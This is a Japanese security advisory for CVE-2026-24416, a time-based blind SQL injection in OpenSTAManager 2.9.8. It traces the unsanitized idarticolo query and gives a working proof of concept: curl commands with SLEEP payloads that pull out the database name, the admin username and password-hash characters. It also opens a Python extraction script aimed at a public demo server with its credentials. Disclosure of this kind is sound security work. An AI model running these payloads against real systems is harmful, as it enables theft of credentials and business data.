概要

フィールド	詳細
CVE ID	CVE-2026-24416
重要度	HIGH
アドバイザリ	アドバイザリを表示
発見者	Lukasz Rybak

影響を受ける製品

devcode-it/openstamanager（バージョン: <= 2.9.8）

CWE 分類

CWE-89: SQL コマンドで使用される特殊要素の不適切な無害化（'SQL インジェクション'）

詳細

概要

OpenSTAManager v2.9.8 の商品価格設定モジュールにおける深刻な Time-Based Blind SQL Injection の脆弱性により、認証済み攻撃者が時間ベースのブール推論攻撃を通じて、ユーザー認証情報、顧客データ、財務記録を含むデータベースの全内容を抽出できる可能性があります。

ステータス: ✅ ライブインスタンス（v2.9.8）および demo.osmbusiness.it（v2.9.7）で確認・テスト済み 脆弱なパラメータ: idarticolo（GET） 影響を受けるエンドポイント: /ajax_complete.php?op=getprezzi 影響を受けるモジュール: Articoli（商品/製品）

詳細

OpenSTAManager v2.9.8 には、商品価格設定の完了ハンドラに深刻な Time-Based Blind SQL Injection の脆弱性が存在します。このアプリケーションは SQL クエリで idarticolo パラメータを使用する前に適切にサニタイズしておらず、攻撃者が任意の SQL コマンドを注入し、時間ベースのブール推論を通じて機密データを抽出できるようになっています。

脆弱性の連鎖:

エントリーポイント: /ajax_complete.php（27行目）
```
$op = get('op');
$result = AJAX::complete($op);
```
op パラメータは取得されますが、脆弱性は他のパラメータに存在します。
ディスパッチ: /src/AJAX.php::complete()（189行目）
```
$result = self::getCompleteResults($file, $resource);
```
実行: /src/AJAX.php::getCompleteResults()（402行目）
```
require $file;
```
モジュール固有の complete.php ファイルがインクルードされます。
脆弱なパラメータ: /modules/articoli/ajax/complete.php（26行目）
```
$idarticolo = get('idarticolo');
```
idarticolo パラメータは GET リクエストから取得されます。

脆弱な SQL クエリ: /modules/articoli/ajax/complete.php（70行目）主要な脆弱性

FROM
    `dt_righe_ddt`
    INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
    INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
    `idarticolo`='.$idarticolo.' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

影響: $idarticolo が prepare() なしで直接連結される一方、$idanagrafica は適切にサニタイズされています。

コンテキスト - 完全なクエリ構造（39〜74行目）:

この脆弱なクエリは、請求書と納品書から価格履歴を取得する UNION クエリの一部です：

$documenti = $dbo->fetchArray('
    SELECT
        `iddocumento` AS id,
        "Fattura" AS tipo,
        "Fatture di vendita" AS modulo,
        (`subtotale`-`sconto`)/`qta` AS costo_unitario,
        ...
    FROM
        `co_righe_documenti`
        INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
        INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
    WHERE
        `idarticolo`='.prepare($idarticolo).' AND ...  # ✓ PROPERLY SANITIZED (Line 54)
UNION
    SELECT
        `idddt` AS id,
        "Ddt" AS tipo,
        ...
    FROM
        `dt_righe_ddt`
        INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
        INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
    WHERE
        `idarticolo`='.$idarticolo.' AND   # ✗ VULNERABLE - NO prepare() (Line 70)
        `dt_tipiddt`.`dir`="entrata" AND
        `idanagrafica`='.prepare($idanagrafica).'
ORDER BY
    `id` DESC LIMIT 0,5');

根本原因: 開発者は最初の SELECT（54行目）では prepare() を正しく使用しましたが、UNION クエリの 2 番目の SELECT（70行目）では使用し忘れており、一貫性のないセキュリティパターンが生じています。

PoC

ステップ 1: ログイン

curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

ステップ 2: 脆弱性の確認（時間ベースの SLEEP）

# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
  > /dev/null
# Result: real 0m10.32s (10.32 seconds)

# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
  > /dev/null
# Result: real 0m3.36s (3.36 seconds)

# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
  > /dev/null
# Result: real 0m0.31s (0.31 seconds)

ステップ 3: データ抽出 - データベース名

# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)

# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)

# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')

# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')

ステップ 4: 機密データの抽出 - 管理者認証情報

# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)

# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)

ペイロードの説明:

Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)

Injection breakdown:
1. 1 - Valid article ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true

SQL Query Result:
WHERE
    `idarticolo`=1
    AND SUBSTRING(DATABASE(),1,1)='o'
    AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
    AND `dt_tipiddt`.`dir`="entrata"
    AND `idanagrafica`=1

自動抽出スクリプトの例:

import requests
import time
import string
import sys

# Default Configuration
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3  # Increased to 3s for stability on remote demo instance

CVE-2026-24416

人気

CVE-2026-24416: OpenSTAManager の商品価格設定モジュールにおける Time-Based Blind SQL Injection

概要

影響を受ける製品

CWE 分類

詳細

概要

詳細

PoC